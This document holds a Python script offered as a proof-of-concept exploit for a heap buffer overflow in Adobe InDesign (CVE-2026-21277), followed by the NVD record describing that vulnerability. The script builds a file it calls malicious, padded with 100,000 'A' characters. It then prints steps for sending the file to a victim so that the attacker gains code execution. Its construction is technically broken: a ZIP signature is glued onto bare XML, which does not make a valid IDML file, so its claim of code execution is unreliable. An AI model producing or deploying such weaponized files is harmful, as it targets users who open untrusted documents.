CVE-2026-21277

# CVE-2026-21277 PoC - Adobe InDesign Heap Buffer Overflow # This is a proof-of-concept for educational purposes only # Author: Security Researcher # Reference: Adobe APSB26-02 import struct import os def create_malicious_indesign_file(): """ Create a malicious InDesign file that triggers heap buffer overflow in Adobe InDesign Desktop versions <= 21.0 and <= 19.5.5 """ # IDML file structure with oversized data field malicious_content = b'PK\x03\x04' # ZIP signature (IDML is a ZIP container) # XML content with oversized string to trigger overflow xml_payload = '''<?xml version="1.0" encoding="UTF-8"?> <idPkg:Story xmlns:idPkg="http://ns.adobe.com/AdobeInDesign/idml/1.0/"> <CharacterRange> <Content>{}</Content> </CharacterRange> </idPkg:Story>'''.format('A' * 100000) # Oversized payload return malicious_content + xml_payload.encode() def generate_poc(): """ Generate and save the PoC file """ poc_data = create_malicious_indesign_file() output_file = "CVE-2026-21277_malicious.idml" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("\n[!] Instructions:") print("1. Send this file to the victim") print("2. Victim opens the file with Adobe InDesign Desktop") print("3. Heap buffer overflow is triggered") print("4. Attacker gains code execution in user context") if __name__ == "__main__": generate_poc()

{"cve": {"id": "CVE-2026-21277", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:25.370", "lastModified": "2026-01-14T19:28:10.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 21.0, 19.5.5 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Las versiones de escritorio de InDesign 21.0, 19.5.5 y anteriores están afectadas por una vulnerabilidad de desbordamiento de búfer basado en montículo que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que una víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.1", "matchCriteriaId": "7BFF153C-8825-407C-AF58-4AC567601D68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndExcluding": "21.1", "matchCriteriaId": "7BF7435F-7314-440A-89A8-8C3D4CCCDD63"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb26-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}